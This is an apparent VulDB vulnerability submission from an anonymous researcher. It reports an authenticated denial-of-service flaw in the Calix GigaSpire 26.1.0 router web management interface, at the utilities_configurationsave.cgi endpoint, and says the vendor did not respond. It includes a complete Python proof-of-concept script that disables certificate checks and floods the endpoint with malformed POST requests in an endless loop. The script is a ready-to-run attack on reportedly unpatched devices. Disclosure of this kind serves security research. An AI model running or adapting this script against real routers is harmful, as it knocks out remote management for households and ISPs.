| Titel | Calix GigaSpire (BLAST series) 26.1.0 Denial of Service |
|---|
| Beschreibung | This vulnerability was reported to Calix's offical security reporting forum but failed to respond back to me as the researcher nearly after a month without any communication beyond the initial report including no responses to my follow up emails, this vulnerability remains unpatched. Calix acknowledged the report and assigned tracking number PSIRT-214 on June 5th, but provided no further response.
The utilities_configurationsave.cgi endpoint on Calix GigaSpire devices is vulnerable to an single-request authenticated denial of service attack. When the endpoint receives a POST request with Content-Type set to application/x-www-form-urlencoded instead of the proper multipart/form-data, and no 'sessionKey' nor file body is present, the web management interface hangs completely.
The watchdog attempts to restart the server but it fails when the attack goes on long enough, which resulting in complete and persistent loss of the web management interface for all users, and both authenticated and unauthenticated. Internet routing is unaffected, but remote management including ISP access is unavailable for the duration.
The attacker can hang the website for however they may like, until they stop the requests, when monitoring the status_system.cmd endpoint during the attack, you can observe the CPU usage jumps to almost 100%
The most fitting CWE for this would most likely be: https://cwe.mitre.org/data/definitions/835.html
PoC code:
#!/usr/bin/env python3
import ssl, requests, urllib3
from requests.adapters import HTTPAdapter
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
COOKIE_HEADER = "csrf_token=TOKEN; Authorization=TOKEN"
XCSRF = "XSCRF"
ROUTER_IP = "192.168.1.1" # default gateaway
COOKIES = dict(c.strip().split("=", 1) for c in COOKIE_HEADER.split(";"))
def make_session():
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
ctx.set_ciphers("ALL:@SECLEVEL=0")
except:
pass
try:
ctx.options |= ssl.OP_LEGACY_SERVER_CONNECT
except:
pass
try:
ctx.minimum_version = ssl.TLSVersion.TLSv1
except:
pass
class A(HTTPAdapter):
def init_poolmanager(self, *a, **kw):
kw["ssl_context"] = ctx; super().init_poolmanager(*a, **kw)
s = requests.Session(); s.mount("https://", A()); return s
session = make_session()
while True:
try:
session.post(
f"https://{ROUTER_IP}/html/utilities/utilities_configurationsave.cgi",
data={"action": "restore"},
cookies=COOKIES,
headers={
"Content-Type": "application/x-www-form-urlencoded;charset=utf-8;",
"X-CSRF-Token": XCSRF,
"Referer": f"https://{ROUTER_IP}/",
},
timeout=8,
verify=False,
allow_redirects=False,
)
except Exception:
pass
|
|---|
| Quelle | ⚠️ https://www.calix.com/forms/brand/contact/product-security-vulnerabilities.html |
|---|
| Benutzer | Anonymous User |
|---|
| Einreichung | 25.06.2026 00:00 (vor 2 Monaten) |
|---|
| Moderieren | 13.08.2026 16:25 (2 months later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 389483 [Calix GigaSpire 26.1.0 Web Management Interface utilities_configurationsave.cgi sessionKey Denial of Service] |
|---|
| Punkte | 20 |
|---|